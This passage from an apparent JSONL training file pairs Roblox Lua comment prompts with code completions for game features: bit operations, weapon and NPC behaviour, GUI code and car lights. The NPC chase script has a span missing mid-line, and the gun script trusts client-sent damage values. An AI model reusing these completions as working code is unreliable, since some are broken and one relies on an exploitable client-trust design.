end\nend\nM.bit.bor = bit_bor\n\nlocal function bit_band(a, b, c, ...)\n if c then\n return bit_band(bit_band(a, b), c, ...)\n elseif b then\n return bit_tobit(band(a % MOD, b % MOD))\n else\n return bit_tobit(a)\n end\nend\nM.bit.band = bit_band\n\nlocal function bit_bxor(a, b, c, ...)\n if c then\n return bit_bxor(bit_bxor(a, b), c, ...)\n elseif b then\n return bit_tobit(bxor(a % MOD, b % MOD))\n else\n return bit_tobit(a)\n end\nend\nM.bit.bxor = bit_bxor\n\nfunction M.bit.lshift(x, n)\n return bit_tobit(lshift(x % MOD, n % 32))\nend\n\nfunction M.bit.rshift(x, n)\n return bit_tobit(rshift(x % MOD, n % 32))\nend\n\nfunction M.bit.arshift(x, n)\n return bit_tobit(arshift(x % MOD, n % 32))\nend\n\nfunction M.bit.rol(x, n)\n return bit_tobit(lrotate(x % MOD, n % 32))\nend\n\nfunction M.bit.ror(x, n)\n return bit_tobit(rrotate(x % MOD, n % 32))\nend\n\nfunction M.bit.bswap(x)\n return bit_tobit(bswap(x % MOD))\nend\n\nreturn M\n"} +{"prompt": "--// Positioning", "completion": "\n\tRightArmPos = CFrame.new(-0.902175903, 0.295501232, -1.07592201, 1, 0, 0, 0, 1.19248806e-08, 1, 0, -1, 1.19248806e-08);\n\tLeftArmPos = CFrame.new(-0.0318467021, -2.0621779114, -1.67288721, 0.787567914, -0.220087856, 0.575584888, -0.615963876, -0.308488727, 0.724860668, 0.0180283934, -0.925416589, -0.378522098);\n\tGunPos = CFrame.new(0.284460306, -0.318524063, 1.06423128, 1, 0, 0, 0, -2.98023224e-08, -0.99999994, 0, 0.99999994, -2.98023224e-08);\n\t"} +{"prompt": "--[=[\n\t@within Shake\n\t@prop Amplitude number\n\tAmplitude of the overall shake. For instance, an amplitude of `3` would mean the\n\tpeak magnitude for the outputted shake vectors would be about `3`.\n\n\tDefaults to `1`.\n]=]", "completion": "\n"} +{"prompt": "--/////////////////////////////////////////////////////////--", "completion": "\n\nlocal curSize\nlocal create\nlocal Expand\nlocal doHide\nlocal doClose\nlocal dragSize\nlocal isVisible\nlocal DoRefresh\nlocal getNextPos\nlocal wallPosition\nlocal setPosition\nlocal checkMouse\nlocal isInFrame\nlocal setSize\nlocal apiIfy\n\nclient = nil\ncPcall = nil\nPcall = nil\nRoutine = nil\nservice = nil\nGetEnv = nil\n\nlocal function isGui(child)\n\treturn child:IsA(\"GuiObject\");\nend\n"} +{"prompt": "--< variables", "completion": "\n\nlocal players = game:GetService(\"Players\")\nlocal frame = script.Parent.Frame\nlocal slots = frame.slots\nlocal temp = frame.Template\n\nlocal players_table = {}\n"} +{"prompt": "--Inf amounts tools giver delele \"--\" to activate and delete line upper or comment them", "completion": "\n"} +{"prompt": "--[[\n\tAssert that our expectation value is equal to another value\n]]", "completion": "\nfunction Expectation:equal(otherValue)\n\tlocal result = (self.value == otherValue) == self.successCondition\n\n\tlocal message = formatMessage(\n\t\tself.successCondition,\n\t\t(\"Expected value %q (%s), got %q (%s) instead\"):format(\n\t\t\ttostring(otherValue),\n\t\t\ttype(otherValue),\n\t\t\ttostring(self.value),\n\t\t\ttype(self.value)\n\t\t),\n\t\t(\"Expected anything but value %q (%s)\"):format(tostring(otherValue), type(otherValue))\n\t)\n\n\tassertLevel(result, message, 3)\n\tself:_resetModifiers()\n\n\treturn self\nend\n"} +{"prompt": "--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild(\"Thumbnail\")then]]--\n--[[JeffTheKiller:FindFirstChild(\"Thumbnail\"):Destroy();]]--\n--[[end;]]", "completion": "--\nlocal JeffTheKillerHumanoid;\nfor _,Child in pairs(JeffTheKiller:GetChildren())do\nif Child and Child.ClassName==\"Humanoid\"and Child.Health~=0 then\nJeffTheKillerHumanoid=Child;\nend;\nend;\nlocal AttackDebounce=false;\nlocal JeffTheKillerKnife=JeffTheKiller:FindFirstChild(\"Knife\");\nlocal JeffTheKillerHead=JeffTheKiller:FindFirstChild(\"Head\");\nlocal JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild(\"HumanoidRootPart\");\nlocal WalkDebounce=false;\nlocal Notice=false;\nlocal JeffLaughDebounce=false;\nlocal MusicDebounce=false;\nlocal NoticeDebounce=false;\nlocal ChosenMusic;\nfunction FindNearestBae()\nlocal NoticeDistance=100;\nlocal TargetMain;\nfor _,TargetModel in pairs(game:GetService(\"Workspace\"):GetChildren())do\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className==\"Model\"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild(\"HumanoidRootPart\")and TargetModel:FindFirstChild(\"Head\")then\nlocal TargetPart=TargetModel:FindFirstChild(\"HumanoidRootPart\");\nlocal FoundHumanoid;\nfor _,Child in pairs(TargetModel:GetChildren())do\nif Child and Child.ClassName==\"Humanoid\"and Child.Health~=0 then\nFoundHumanoid=Child;\nend;\nend;\nif TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then\nspawn(function()\nWalkDebounce=true;\nlocal FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0));\nlocal RayTarget,endPoint=game:GetService(\"Workspace\"):FindPartOnRay(FiredRay,JeffTheKiller);\nif RayTarget then\nlocal JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild(\"Jeff_Step\"):Clone();\nJeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead;\nJeffTheKillerHeadFootStepClone:Play();\nJeffTheKillerHeadFootStepClone:Destroy();\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<10 then\nwait(0.4);\nelseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>10 then\nwait(0.2);\nend\nend;\nWalkDebounce=false;\nend);\nend;\nlocal MainTarget=FindNearestBae();\nlocal FoundHumanoid;\nif MainTarget then\nfor _,Child in pairs(MainTarget.Parent:GetChildren())do\nif Child and Child.ClassName==\"Humanoid\"and Child.Health~=0 then\nFoundHumanoid=Child;\nend;\nend;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then\nJeffTheKillerHumanoid.Jump=true;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")and not JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").IsPlaying then\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=1;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\"):Play();\nend;\nelseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").IsPlaying then\nif not JeffLaughDebounce then\nspawn(function()\nJeffLaughDebounce=true;\nrepeat wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")then JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume==0 or JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume<0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\"):Stop();\nJeffLaughDebounce=false;\nend);\nend;\nend;\nend;\nif not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then\nlocal MusicChoice=math.random(1,2);\nif MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound1\")then\nChosenMusic=JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound1\");\nelseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound2\")then\nChosenMusic=JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound2\");\nend;\nif JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then\nChosenMusic.Volume=0.5;\nChosenMusic:Play();\nend;\nelseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then\nif JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then\nif not MusicDebounce then\nspawn(function()\nMusicDebounce=true;\nrepeat wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;\nif ChosenMusic then\nChosenMusic.Volume=0;\nChosenMusic:Stop();\nend;\nChosenMusic=nil;\nMusicDebounce=false;\nend);\nend;\nend;\nend;\nif not MainTarget and not JeffLaughDebounce then\nspawn(function()\nJeffLaughDebounce=true;\nrepeat wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")then JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume==0 or JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume<0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\"):Stop();\nJeffLaughDebounce=false;\nend);\nend;\nif not MainTarget and not MusicDebounce then\nspawn(function()\nMusicDebounce=true;\nrepeat wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;\nif ChosenMusic then\nChosenMusic.Volume=0;\nChosenMusic:Stop();\nend;\nChosenMusic=nil;\nMusicDebounce=false;\nend);\nend;\nif MainTarget then\nNotice=true;\nif Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Susto2\")then\nJeffTheKillerHead:FindFirstChild(\"Jeff_Susto2\"):Play();\nNoticeDebounce=true;\nend\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then\nif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then\nJeffTheKillerHumanoid.WalkSpeed=30;\nelseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then\nJeffTheKillerHumanoid.WalkSpeed=0.004;\nend;\nJeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,game:GetService(\"Workspace\"):FindFirstChild(\"Terrain\"));\nend;\nelse\nNotice=false;\nNoticeDebounce=false;\nlocal RandomWalk=math.random(1,150);\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then\nJeffTheKillerHumanoid.WalkSpeed=12;\nif RandomWalk==1 then\nJeffTheKillerHumanoid:MoveTo(game:GetService(\"Workspace\"):FindFirstChild(\"Terrain\").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),game:GetService(\"Workspace\"):FindFirstChild(\"Terrain\"));\nend;\nend;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then\nJeffTheKillerHumanoid.DisplayDistanceType=\"None\";\nJeffTheKillerHumanoid.HealthDisplayDistance=0;\nJeffTheKillerHumanoid.Name=\"ColdBloodedKiller\";\nJeffTheKillerHumanoid.NameDisplayDistance=0;\nJeffTheKillerHumanoid.NameOcclusion=\"EnemyOcclusion\";\nJeffTheKillerHumanoid.AutoJumpEnabled=true;\nJeffTheKillerHumanoid.AutoRotate=true;\nJeffTheKillerHumanoid.MaxHealth=10000;\nJeffTheKillerHumanoid.JumpPower=70;\nJeffTheKillerHumanoid.MaxSlopeAngle=89.9;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then\nJeffTheKillerHumanoid.AutoJumpEnabled=true;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then\nJeffTheKillerHumanoid.AutoRotate=true;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then\nJeffTheKillerHumanoid.PlatformStand=false;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then\nJeffTheKillerHumanoid.Sit=false;\nend;\nend;"} +{"prompt": "--Light off", "completion": "\n\tsrc.LightBrick1.SpotLight.Enabled = false\n\tsrc.LightBrick2.SpotLight.Enabled = false\n\n\tsrc.LightBrick1.Material = \"SmoothPlastic\"\n\tsrc.LightBrick2.Material = \"SmoothPlastic\"\n\n\tlight.Value = false\n\telse"} +{"prompt": "-- Testing AC FE support", "completion": "\n\nlocal event = script.Parent\nlocal car=script.Parent.Parent\n\n\nevent.OnServerEvent:connect(function(player,data)\n\tif data['ToggleLight'] then\n\t\tif car.Body.Light.on.Value==true then\n\t\t\tcar.Body.Light.on.Value=false\n\t\telse\n\t\t\tcar.Body.Light.on.Value=true\n\t\tend\n\telseif data['ToggleFog'] then\n\t\tif car.Body.Fog.on.Value==true then\n\t\t\tcar.Body.Fog.on.Value=false\n\t\telse\n\t\t\tcar.Body.Light.on.Value=true\n\t\tend\n\telseif data['EnableBrakes'] then\n\t\tcar.Body.Brakes.on.Value=true\n\telseif data['DisableBrakes'] then\n\t\tcar.Body.Brakes.on.Value=false\n\telseif data['ToggleLeftBlink'] then\n\t\tif car.Body.Left.on.Value==true then\n\t\t\tcar.Body.Left.on.Value=false\n\t\telse\n\t\t\tcar.Body.Left.on.Value=true\n\t\tend\n\telseif data['ToggleRightBlink'] then\n\t\tif car.Body.Right.on.Value==true then\n\t\t\tcar.Body.Right.on.Value=false\n\t\telse\n\t\t\tcar.Body.Right.on.Value=true\n\t\tend\n\telseif data['ToggleHazard'] then\n\t\tif car.Body.Hazards.on.Value==true then\n\t\t\tcar.Body.Hazards.on.Value=false\n\t\telse\n\t\t\tcar.Body.Hazards.on.Value=true\n\t\tend\n\tend\nend)\n"} +{"prompt": "--// Firemode Functions", "completion": "\nfunction CreateBullet(L_200_arg1)\n\tlocal L_201_ = L_59_.Position\n\tlocal L_202_ = (L_4_.Hit.p - L_201_).unit\n\tlocal L_203_ = CFrame.Angles(math.rad(math.random(-L_200_arg1, L_200_arg1)), math.rad(math.random(-L_200_arg1, L_200_arg1)), math.rad(math.random(-L_200_arg1, L_200_arg1)))\n\tL_202_ = L_203_ * L_202_\t\n\tlocal L_204_ = CFrame.new(L_201_, L_201_ + L_202_)\t\n\t\t\n\tlocal L_205_ = Instance.new(\"Part\", L_101_)\n\tgame.Debris:AddItem(L_205_, 10)\n\tL_205_.Shape = Enum.PartType.Ball\n\tL_205_.Size = Vector3.new(1, 1, 12)\n\tL_205_.Name = \"Bullet\"\n\tL_205_.TopSurface = \"Smooth\"\n\tL_205_.BottomSurface = \"Smooth\"\n\tL_205_.BrickColor = BrickColor.new(\"Bright green\")\n\tL_205_.Material = \"Neon\"\n\tL_205_.CanCollide = false\n\t\t--Bullet.CFrame = FirePart.CFrame + (Grip.CFrame.p - Grip.CFrame.p)\n\tL_205_.CFrame = L_204_\n\t\t\n\tlocal L_206_ = Instance.new(\"Sound\")\n\tL_206_.SoundId = \"rbxassetid://341519743\"\n\tL_206_.Looped = true\n\tL_206_:Play()\n\tL_206_.Parent = L_205_\n\tL_206_.Volume = 0.4\n\tL_206_.MaxDistance = 30\n\t\n\tL_205_.Transparency = 1\n\tlocal L_207_ = L_205_:GetMass()\n\tlocal L_208_ = Instance.new('BodyForce', L_205_)\n\t\t\n\tif not L_83_ then\n\t\tL_208_.Force = L_24_.BulletPhysics\n\t\tL_205_.Velocity = L_202_ * L_24_.BulletSpeed\n\telse\n\t\tL_208_.Force = L_24_.ExploPhysics\n\t\tL_205_.Velocity = L_202_ * L_24_.ExploSpeed\n\tend\n\t\t\n\tlocal L_209_ = Instance.new('Attachment', L_205_)\n\tL_209_.Position = Vector3.new(0.1, 0, 0)\n\tlocal L_210_ = Instance.new('Attachment', L_205_)\n\tL_210_.Position = Vector3.new(-0.1, 0, 0)\n\t\t\t\n\tlocal L_211_ = TracerCalculation()\n\t\t\n\tif L_24_.TracerEnabled == true and L_211_ then\n\t\tlocal L_212_ = Instance.new('Trail', L_205_)\n\t\tL_212_.Attachment0 = L_209_\n\t\tL_212_.Attachment1 = L_210_\n\t\tL_212_.Transparency = NumberSequence.new(L_24_.TracerTransparency)\n\t\tL_212_.LightEmission = L_24_.TracerLightEmission\n\t\tL_212_.TextureLength = L_24_.TracerTextureLength\n\t\tL_212_.Lifetime = L_24_.TracerLifetime\n\t\tL_212_.FaceCamera = L_24_.TracerFaceCamera\n\t\tL_212_.Color = ColorSequence.new(L_24_.TracerColor.Color)\n\tend\n\t\t\n\tif L_1_:FindFirstChild('Shell') and not L_83_ then\t\n\t\tCreateShell()\t\n\tend\t\n\t\t\n\tdelay(0.2, function()\n\t\tL_205_.Transparency = 0\n\tend)\n\t\n\treturn L_205_\nend\n\nfunction CheckForHumanoid(L_213_arg1)\n\tlocal L_214_ = false\n\tlocal L_215_ = nil\n\tif L_213_arg1 then\n\t\tif (L_213_arg1.Parent:FindFirstChild(\"Humanoid\") or L_213_arg1.Parent.Parent:FindFirstChild(\"Humanoid\")) then\n\t\t\tL_214_ = true\n\t\t\tif L_213_arg1.Parent:FindFirstChild('Humanoid') then\n\t\t\t\tL_215_ = L_213_arg1.Parent.Humanoid\n\t\t\telseif L_213_arg1.Parent.Parent:FindFirstChild('Humanoid') then\n\t\t\t\tL_215_ = L_213_arg1.Parent.Parent.Humanoid\n\t\t\tend\n\t\telse\n\t\t\tL_214_ = false\n\t\tend\t\n\tend\n\treturn L_214_, L_215_\nend\n\nfunction CastRay(L_216_arg1)\n\tlocal L_217_, L_218_, L_219_\n\tlocal L_220_ = L_56_.Position;\n\tlocal L_221_ = L_216_arg1.Position;\n\tlocal L_222_ = 0\n\n\tlocal L_223_ = L_83_\t\n\t\n\twhile true do\n\t\tL_106_:wait()\n\t\tL_221_ = L_216_arg1.Position;\n\t\tL_222_ = L_222_ + (L_221_ - L_220_).magnitude\n\t\tL_217_, L_218_, L_219_ = workspace:FindPartOnRayWithIgnoreList(Ray.new(L_220_, (L_221_ - L_220_)), IgnoreList);\n\t\tlocal L_224_ = Vector3.new(0, 1, 0):Cross(L_219_)\n\t\tlocal L_225_ = math.asin(L_224_.magnitude) -- division by 1 is redundant\n\t\tif L_222_ > L_24_.BulletDecay then\n\t\t\tL_216_arg1:Destroy()\n\t\t\tbreak\n\t\tend\n\t\tif L_217_ and (L_217_ and L_217_.Transparency >= 1 or L_217_.CanCollide == false) and L_217_.Name ~= 'Right Arm' and L_217_.Name ~= 'Left Arm' and L_217_.Name ~= 'Right Leg' and L_217_.Name ~= 'Left Leg' and L_217_.Name ~= 'Armor' then\n\t\t\ttable.insert(IgnoreList, L_217_)\n\t\tend\n\t\n\t\tif L_217_ then\n\t\t\tL_224_ = Vector3.new(0, 1, 0):Cross(L_219_)\n\t\t\tL_225_ = math.asin(L_224_.magnitude) -- division by 1 is redundant\n\t\t\n\t\t\tL_118_:FireServer(L_218_)\n\t\t\n\t\t\tlocal L_226_ = CheckForHumanoid(L_217_)\n\t\t\tif L_226_ == false then\n\t\t\t\tL_216_arg1:Destroy()\n\t\t\t\tlocal L_227_ = L_113_:InvokeServer(L_218_, L_224_, L_225_, L_219_, \"Part\", L_217_)\n\t\t\telseif L_226_ == true then\n\t\t\t\tL_216_arg1:Destroy()\n\t\t\t\tlocal L_228_ = L_113_:InvokeServer(L_218_, L_224_, L_225_, L_219_, \"Human\", L_217_)\n\t\t\tend\n\t\tend\n\t\n\t\tif L_217_ and L_223_ then\n\t\t\tL_116_:FireServer(L_218_)\n\t\tend\n\t\n\t\tif L_217_ then\n\t\t\tlocal L_229_, L_230_ = CheckForHumanoid(L_217_)\n\t\t\tif L_229_ then\n\t\t\t\tL_111_:FireServer(L_230_)\n\t\t\t\tif L_24_.AntiTK then\n\t\t\t\t\tif game.Players:FindFirstChild(L_230_.Parent.Name) and game.Players:FindFirstChild(L_230_.Parent.Name).TeamColor ~= L_2_.TeamColor or L_230_.Parent:FindFirstChild('Vars') and game.Players:FindFirstChild(L_230_.Parent:WaitForChild('Vars'):WaitForChild('BotID').Value) and L_2_.TeamColor ~= L_230_.Parent:WaitForChild('Vars'):WaitForChild('teamColor').Value then\n\t\t\t\t\t\tif L_217_.Name == 'Head' then\n\t\t\t\t\t\t\tL_110_:FireServer(L_230_, L_24_.HeadDamage)\n\t\t\t\t\t\t\tlocal L_231_ = L_19_:WaitForChild('BodyHit'):clone()\n\t\t\t\t\t\t\tL_231_.Parent = L_2_.PlayerGui\n\t\t\t\t\t\t\tL_231_:Play()\n\t\t\t\t\t\t\tgame:GetService(\"Debris\"):addItem(L_231_, L_231_.TimeLength)\n\t\t\t\t\t\tend\n\t\t\t\t\t\tif L_217_.Name ~= 'Head' and not (L_217_.Parent:IsA('Accessory') or L_217_.Parent:IsA('Hat')) then\n\t\t\t\t\t\t\tif L_217_.Name ~= 'Torso' and L_217_.Name ~= 'HumanoidRootPart' and L_217_.Name ~= 'Armor' then\n\t\t\t\t\t\t\t\tL_110_:FireServer(L_230_, L_24_.LimbDamage)\n\t\t\t\t\t\t\telseif L_217_.Name == 'Torso' or L_217_.Name == 'HumanoidRootPart' and L_217_.Name ~= 'Armor' then\n\t\t\t\t\t\t\t\tL_110_:FireServer(L_230_, L_24_.BaseDamage)\n\t\t\t\t\t\t\telseif L_217_.Name == 'Armor' then\n\t\t\t\t\t\t\t\tL_110_:FireServer(L_230_, L_24_.ArmorDamage)\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tlocal L_232_ = L_19_:WaitForChild('BodyHit'):clone()\n\t\t\t\t\t\t\tL_232_.Parent = L_2_.PlayerGui\n\t\t\t\t\t\t\tL_232_:Play()\n\t\t\t\t\t\t\tgame:GetService(\"Debris\"):addItem(L_232_, L_232_.TimeLength)\n\t\t\t\t\t\tend\n\t\t\t\t\t\tif (L_217_.Parent:IsA('Accessory') or L_217_.Parent:IsA('Hat')) then\n\t\t\t\t\t\t\tL_110_:FireServer(L_230_, L_24_.HeadDamage)\n\t\t\t\t\t\t\tlocal L_233_ = L_19_:WaitForChild('BodyHit'):clone()\n\t\t\t\t\t\t\tL_233_.Parent = L_2_.PlayerGui\n\t\t\t\t\t\t\tL_233_:Play()\n\t\t\t\t\t\t\tgame:GetService(\"Debris\"):addItem(L_233_, L_233_.TimeLength)\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tif L_217_.Name == 'Head' then\n\t\t\t\t\t\tL_110_:FireServer(L_230_, L_24_.HeadDamage)\n\t\t\t\t\t\tlocal L_234_ = L_19_:WaitForChild('BodyHit'):clone()\n\t\t\t\t\t\tL_234_.Parent = L_2_.PlayerGui\n\t\t\t\t\t\tL_234_:Play()\n\t\t\t\t\t\tgame:GetService(\"Debris\"):addItem(L_234_, L_234_.TimeLength)\n\t\t\t\t\tend\n\t\t\t\t\tif L_217_.Name ~= 'Head' and not (L_217_.Parent:IsA('Accessory') or L_217_.Parent:IsA('Hat')) then\n\t\t\t\t\t\tif L_217_.Name ~= 'Torso' and L_217_.Name ~= 'HumanoidRootPart' and L_217_.Name ~= 'Armor' then\n\t\t\t\t\t\t\tL_110_:FireServer(L_230_, L_24_.LimbDamage)\n\t\t\t\t\t\telseif L_217_.Name == 'Torso' or L_217_.Name == 'HumanoidRootPart' and L_217_.Name ~= 'Armor' then\n\t\t\t\t\t\t\tL_110_:FireServer(L_230_, L_24_.BaseDamage)\n\t\t\t\t\t\telseif L_217_.Name == 'Armor' then\n\t\t\t\t\t\t\tL_110_:FireServer(L_230_, L_24_.ArmorDamage)\n\t\t\t\t\t\tend\n\t\t\t\t\t\tlocal L_235_ = L_19_:WaitForChild('BodyHit'):clone()\n\t\t\t\t\t\tL_235_.Parent = L_2_.PlayerGui\n\t\t\t\t\t\tL_235_:Play()\n\t\t\t\t\t\tgame:GetService(\"Debris\"):addItem(L_235_, L_235_.TimeLength)\n\t\t\t\t\tend\n\t\t\t\t\tif (L_217_.Parent:IsA('Accessory') or L_217_.Parent:IsA('Hat')) then\n\t\t\t\t\t\tL_110_:FireServer(L_230_, L_24_.HeadDamage)\n\t\t\t\t\t\tlocal L_236_ = L_19_:WaitForChild('BodyHit'):clone()\n\t\t\t\t\t\tL_236_.Parent = L_2_.PlayerGui\n\t\t\t\t\t\tL_236_:Play()\n\t\t\t\t\t\tgame:GetService(\"Debris\"):addItem(L_236_, L_236_.TimeLength)\n\t\t\t\t\tend\n\t\t\t\tend\t\n\t\t\tend\n\t\tend\n\t\n\t\tif L_217_ and L_217_.Parent:FindFirstChild(\"Humanoid\") then\n\t\t\treturn L_217_, L_218_;\n\t\tend\n\t\tL_220_ = L_221_;\n\tend\nend\n\nfunction fireSemi()\n\tif L_15_ then\n\t\tL_69_ = false\n\t\tRecoiling = true\n\t\tShooting = true\n\t\t\n\t\t--CheckReverb()\n\t\tif L_54_ then\n\t\t\tL_54_:FireServer(L_59_:WaitForChild('Fire').SoundId, L_59_)\n\t\telse\n\t\t\tL_59_:WaitForChild('Fire'):Play()\t\n\t\tend\n\t\tL_109_:FireServer()\n\t\tL_102_ = CreateBullet(L_24_.BulletSpread)\n\t\tL_103_ = L_103_ - 1\n\t\tUpdateAmmo()\n\t\tRecoilFront = true\n\t\tlocal L_237_, L_238_ = spawn(function()\n\t\t\tCastRay(L_102_)\n\t\tend)\n\t\t\n\t\tif L_24_.CanBolt == true then\n\t\t\tBoltingBackAnim()\n\t\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\t\tif L_24_.CanSlideLock == false then\n\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\telseif L_24_.CanSlideLock == true then\n\t\t\t\t\tif L_103_ > 0 then\n\t\t\t\t\t\tBoltingForwardAnim()\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend)\n\t\tend\n\t\t\n\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\tRecoiling = false\n\t\t\tRecoilFront = false\n\t\tend)\t\t\n\t\t\n\t\twait(L_24_.Firerate)\n\t\t\n\t\tlocal L_239_ = JamCalculation()\n\t\tif L_239_ then\n\t\t\tL_69_ = false\n\t\telse\n\t\t\tL_69_ = true\n\t\tend\n\t\tShooting = false\n\tend\nend\n\nfunction fireExplo()\n\tif L_15_ then\n\t\tL_69_ = false\n\t\tRecoiling = true\n\t\tShooting = true\n\t\tif L_54_ then\n\t\t\tL_54_:FireServer(L_60_:WaitForChild('Fire').SoundId, L_60_)\n\t\telse\n\t\t\tL_60_:WaitForChild('Fire'):Play()\t\n\t\tend\n\t\tL_109_:FireServer()\n\t\tL_102_ = CreateBullet(L_24_.BulletSpread)\n\t\tL_105_ = L_105_ - 1\n\t\tUpdateAmmo()\n\t\tRecoilFront = true\n\t\tlocal L_240_, L_241_ = spawn(function()\n\t\t\tCastRay(L_102_)\n\t\tend)\n\t\t\n\t\tdelay(L_24_.Firerate / 2, function()\n\t\t\tRecoiling = false\n\t\t\tRecoilFront = false\n\t\tend)\t\t\n\t\t\t\n\t\tL_69_ = false\n\t\tShooting = false\n\tend\nend\n\nfunction fireShot()\n\tif L_15_ then\n\t\tL_69_ = false\n\t\tRecoiling = true\n\t\tShooting = true\n\t\tRecoilFront = true\n\t\t--CheckReverb()\n\t\tif L_54_ then\n\t\t\tL_54_:FireServer(L_59_:WaitForChild('Fire').SoundId, 